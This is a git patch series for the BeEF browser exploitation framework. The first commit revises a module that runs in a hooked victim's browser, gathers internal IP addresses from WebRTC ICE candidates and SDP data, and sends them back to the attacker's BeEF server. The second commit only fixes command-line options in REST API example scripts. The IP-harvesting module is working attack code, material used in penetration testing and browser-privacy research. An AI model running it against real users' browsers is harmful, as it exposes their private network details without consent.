From 54b58c2e721d62dd9919b1af66a3f1dc57fef7bd Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Mon, 9 Feb 2015 08:50:36 +0000 Subject: [PATCH 1/2] Use data stream/channel (Required by Chrome) --- .../host/get_internal_ip_webrtc/command.js | 34 +++++++++++-------- .../host/get_internal_ip_webrtc/config.yaml | 2 +- 2 files changed, 20 insertions(+), 16 deletions(-) diff --git a/modules/host/get_internal_ip_webrtc/command.js b/modules/host/get_internal_ip_webrtc/command.js index ffdcd3403..ebeaf9293 100755 --- a/modules/host/get_internal_ip_webrtc/command.js +++ b/modules/host/get_internal_ip_webrtc/command.js @@ -10,38 +10,42 @@ beef.execute(function() { if (RTCPeerConnection) (function () { - var addrs = Object.create(null); + var addrs = Object.create(null); addrs["0.0.0.0"] = false; - - // Establish a connection with ICE / relay servers - in this instance: NONE - var rtc = new RTCPeerConnection({iceServers:[]}); - if (window.mozRTCPeerConnection) { // FF needs a channel/stream to proceed - rtc.createDataChannel('', {reliable:false}); - }; - + + // Construct RTC peer connection + var servers = {iceServers:[]}; + var rtc = new RTCPeerConnection(servers); + rtc.createDataChannel('', {reliable:false}); + // Upon an ICE candidate being found // Grep the SDP data for IP address data rtc.onicecandidate = function (evt) { - if (evt.candidate){ - beef.debug("a="+evt.candidate.candidate); - grepSDP("a="+evt.candidate.candidate); - } + if (evt.candidate){ + beef.debug("a="+evt.candidate.candidate); + grepSDP("a="+evt.candidate.candidate); + } }; // Create an SDP offer rtc.createOffer(function (offerDesc) { grepSDP(offerDesc.sdp); rtc.setLocalDescription(offerDesc); - }, function (e) { beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed"); }); + }, function (e) { + beef.debug("SDP Offer Failed"); + beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed"); + }); + // Return results function processIPs(newAddr) { if (newAddr in addrs) return; else addrs[newAddr] = true; var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); - beef.debug("Found IPs: "+ displayAddrs.join(",")) + beef.debug("Found IPs: "+ displayAddrs.join(",")); beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(",")); } - + + // Retrieve IP addresses from SDP function grepSDP(sdp) { var hosts = []; sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39 diff --git a/modules/host/get_internal_ip_webrtc/config.yaml b/modules/host/get_internal_ip_webrtc/config.yaml index f0dc77703..68a95e0ac 100755 --- a/modules/host/get_internal_ip_webrtc/config.yaml +++ b/modules/host/get_internal_ip_webrtc/config.yaml @@ -9,7 +9,7 @@ beef: enable: true category: "Host" name: "Get Internal IP WebRTC" - description: "Retrieve the internal (behind NAT) IP address of the victim machine using WebRTC Peer-to-Peer connection framework. Code from http://net.ipcalf.com/" + description: "Retrieve the internal (behind NAT) IP address of the victim machine using WebRTC Peer-to-Peer connection framework. Code from http://net.ipcalf.com/" authors: ["xntrik", "@natevw"] target: working: ["C", "FF"] From 1c7663f96d7a718bb5049f67f50873bbae673616 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Mon, 9 Feb 2015 08:51:18 +0000 Subject: [PATCH 2/2] Use arguments --- tools/rest_api_examples/browser-details | 4 ++-- tools/rest_api_examples/dns | 4 ++-- tools/rest_api_examples/export-logs | 4 ++-- tools/rest_api_examples/metasploit | 4 ++-- tools/rest_api_examples/network | 4 ++-- tools/rest_api_examples/webrtc | 4 ++-- 6 files changed, 12 insertions(+), 12 deletions(-) diff --git a/tools/rest_api_examples/browser-details b/tools/rest_api_examples/browser-details index 9db22a5e2..79e987ce5 100755 --- a/tools/rest_api_examples/browser-details +++ b/tools/rest_api_examples/browser-details @@ -40,10 +40,10 @@ OptionParser.new do |opts| opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p| port = p end - opts.on('--user', "Set BeEF username (default: #{user})") do |u| + opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u| user = u end - opts.on('--pass', "Set BeEF password (default: #{pass})") do |p| + opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p| pass = p end opts.on('--ssl', 'Use HTTPS') do diff --git a/tools/rest_api_examples/dns b/tools/rest_api_examples/dns index 278ed3d64..e42f97935 100755 --- a/tools/rest_api_examples/dns +++ b/tools/rest_api_examples/dns @@ -40,10 +40,10 @@ OptionParser.new do |opts| opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p| port = p end - opts.on('--user', "Set BeEF username (default: #{user})") do |u| + opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u| user = u end - opts.on('--pass', "Set BeEF password (default: #{pass})") do |p| + opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p| pass = p end opts.on('--ssl', 'Use HTTPS') do diff --git a/tools/rest_api_examples/export-logs b/tools/rest_api_examples/export-logs index aa945b7fc..2857f1fbc 100755 --- a/tools/rest_api_examples/export-logs +++ b/tools/rest_api_examples/export-logs @@ -40,10 +40,10 @@ OptionParser.new do |opts| opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p| port = p end - opts.on('--user', "Set BeEF username (default: #{user})") do |u| + opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u| user = u end - opts.on('--pass', "Set BeEF password (default: #{pass})") do |p| + opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p| pass = p end opts.on('--ssl', 'Use HTTPS') do diff --git a/tools/rest_api_examples/metasploit b/tools/rest_api_examples/metasploit index 446eeeca6..7a5d4185a 100755 --- a/tools/rest_api_examples/metasploit +++ b/tools/rest_api_examples/metasploit @@ -42,10 +42,10 @@ OptionParser.new do |opts| opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p| port = p end - opts.on('--user', "Set BeEF username (default: #{user})") do |u| + opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u| user = u end - opts.on('--pass', "Set BeEF password (default: #{pass})") do |p| + opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p| pass = p end opts.on('--ssl', 'Use HTTPS') do diff --git a/tools/rest_api_examples/network b/tools/rest_api_examples/network index 38e7d1170..3aeddc4ea 100755 --- a/tools/rest_api_examples/network +++ b/tools/rest_api_examples/network @@ -40,10 +40,10 @@ OptionParser.new do |opts| opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p| port = p end - opts.on('--user', "Set BeEF username (default: #{user})") do |u| + opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u| user = u end - opts.on('--pass', "Set BeEF password (default: #{pass})") do |p| + opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p| pass = p end opts.on('--ssl', 'Use HTTPS') do diff --git a/tools/rest_api_examples/webrtc b/tools/rest_api_examples/webrtc index 5436ea5a3..76eae824f 100755 --- a/tools/rest_api_examples/webrtc +++ b/tools/rest_api_examples/webrtc @@ -40,10 +40,10 @@ OptionParser.new do |opts| opts.on('--port PORT', "Set BeEF port (default: #{port})") do |p| port = p end - opts.on('--user', "Set BeEF username (default: #{user})") do |u| + opts.on('--user USERNAME', "Set BeEF username (default: #{user})") do |u| user = u end - opts.on('--pass', "Set BeEF password (default: #{pass})") do |p| + opts.on('--pass PASSWORD', "Set BeEF password (default: #{pass})") do |p| pass = p end opts.on('--ssl', 'Use HTTPS') do